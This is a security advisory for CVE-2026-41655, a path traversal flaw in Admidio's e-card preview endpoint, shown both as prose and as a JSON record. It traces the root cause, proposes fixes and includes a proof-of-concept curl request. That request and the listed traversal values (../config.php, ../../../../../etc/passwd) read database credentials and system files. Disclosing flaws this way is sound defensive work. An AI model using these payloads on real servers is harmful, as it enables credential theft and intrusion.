GHSA-M3VP-3JJM-GPMX

Vulnerability from github – Published: 2026-04-29 21:37 – Updated: 2026-05-08 19:55
VLAI?
Summary
Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials
Details

Summary

The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.

Details

Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.

Code Path:

  1. modules/photos/ecards.php:143-152 — The form creates a select box with template filenames from adm_my_files/ecard_templates/. The form object is stored in the session.

  2. modules/photos/ecard_preview.php:33-34 — The POST request is validated against the stored form object:

$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);
  1. src/UI/Presenter/FormPresenter.php:2190-2243 — The validate() method applies StringUtils::strStripTags() to all values and performs type-specific checks for captcha, date, editor, email, number, url, and uuid — but has no validation case for select box values. The attacker-controlled value ../config.php passes through unchanged.

  2. modules/photos/ecard_preview.php:48 — The unvalidated value is passed directly to getEcardTemplate():

$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);
  1. src/Photos/ValueObject/ECard.php:67-77 — The filename is concatenated into the path and opened:
public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
    if ($tplFolder === '') {
        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
    }
    // ...
    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');

With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.phpADMIDIO_PATH/adm_my_files/config.php.

Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:

$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));

This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.

PoC

# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML

# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
  -X POST 'https://target/modules/photos/ecard_preview.php' \
  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'

# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
#   $g_adm_srv (database host)
#   $g_adm_db  (database name)
#   $g_adm_usr (database username)
#   $g_adm_pw  (database password)

# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)
# ecard_template=../../../../../etc/passwd              (reads system files)

Impact

  • Database credential disclosure: Any authenticated user can read adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.
  • Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
  • System file disclosure: With sufficient traversal depth (../../../../../etc/passwd), system files can be read, aiding further attacks.
  • Low barrier to exploit: Only requires a regular member account — no admin privileges needed.

Recommended Fix

Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:

// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
    $formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);

Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:

// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
    }
    break;
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:37:23Z",
    "nvd_published_at": "2026-05-07T04:16:28Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials.\n\n## Details\n\n**Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely.\n\n**Code Path:**\n\n1. `modules/photos/ecards.php:143-152` \u2014 The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session.\n\n2. `modules/photos/ecard_preview.php:33-34` \u2014 The POST request is validated against the stored form object:\n```php\n$categoryEditForm = $gCurrentSession-\u003egetFormObject($_POST[\u0027adm_csrf_token\u0027]);\n$formValues = $categoryEditForm-\u003evalidate($_POST);\n```\n\n3. `src/UI/Presenter/FormPresenter.php:2190-2243` \u2014 The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` \u2014 but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged.\n\n4. `modules/photos/ecard_preview.php:48` \u2014 The unvalidated value is passed directly to `getEcardTemplate()`:\n```php\n$ecardDataToParse = $funcClass-\u003egetEcardTemplate($formValues[\u0027ecard_template\u0027]);\n```\n\n5. `src/Photos/ValueObject/ECard.php:67-77` \u2014 The filename is concatenated into the path and opened:\n```php\npublic function getEcardTemplate(string $tplFilename, string $tplFolder = \u0027\u0027): ?string\n{\n    if ($tplFolder === \u0027\u0027) {\n        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . \u0027/ecard_templates/\u0027;\n    }\n    // ...\n    $fileHandle = @fopen($tplFolder . $tplFilename, \u0027rb\u0027);\n```\n\nWith `$tplFilename = \u0027../config.php\u0027`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` \u2192 `ADMIDIO_PATH/adm_my_files/config.php`.\n\n**Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name:\n```php\n$postTemplateName = admFuncVariableIsValid($_POST, \u0027ecard_template\u0027, \u0027file\u0027, array(\u0027requireValue\u0027 =\u003e true));\n```\nThis calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check.\n\n## PoC\n\n```bash\n# Step 1: Log in and visit the ecard form to create a session with a form object\n# Navigate to: /modules/photos/ecards.php?photo_uuid=\u003cvalid_album_uuid\u003e\u0026photo_nr=1\n# Extract the adm_csrf_token from the rendered form HTML\n\n# Step 2: Send path traversal payload to read config.php (contains DB credentials)\ncurl -b \u0027PHPSESSID=\u003csession_cookie\u003e\u0027 \\\n  -X POST \u0027https://target/modules/photos/ecard_preview.php\u0027 \\\n  -d \u0027adm_csrf_token=\u003ccsrf_token\u003e\u0026ecard_template=../config.php\u0026ecard_message=test\u0026photo_uuid=\u003cvalid_uuid\u003e\u0026photo_nr=1\u0026submit_action=preview\u0027\n\n# The response body will contain the contents of adm_my_files/config.php\n# rendered inside the ecard preview HTML, including:\n#   $g_adm_srv (database host)\n#   $g_adm_db  (database name)\n#   $g_adm_usr (database username)\n#   $g_adm_pw  (database password)\n\n# To traverse further outside adm_my_files:\n# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)\n# ecard_template=../../../../../etc/passwd              (reads system files)\n```\n\n## Impact\n\n- **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.\n- **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.\n- **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks.\n- **Low barrier to exploit:** Only requires a regular member account \u2014 no admin privileges needed.\n\n## Recommended Fix\n\nAdd filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`:\n\n```php\n// In modules/photos/ecard_preview.php, add BEFORE line 48:\n$postTemplateName = admFuncVariableIsValid(\n    $formValues, \u0027ecard_template\u0027, \u0027file\u0027, array(\u0027requireValue\u0027 =\u003e true)\n);\n$ecardDataToParse = $funcClass-\u003egetEcardTemplate($postTemplateName);\n```\n\nAlternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:\n\n```php\n// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():\ncase \u0027select\u0027:\n    if (isset($element[\u0027values\u0027]) \u0026\u0026 !array_key_exists($fieldValues[$element[\u0027id\u0027]], $element[\u0027values\u0027])) {\n        throw new Exception(\u0027SYS_FIELD_INVALID_INPUT\u0027, array($element[\u0027label\u0027]));\n    }\n    break;\n```",
  "id": "GHSA-m3vp-3jjm-gpmx",
  "modified": "2026-05-08T19:55:32Z",
  "published": "2026-04-29T21:37:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41655"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…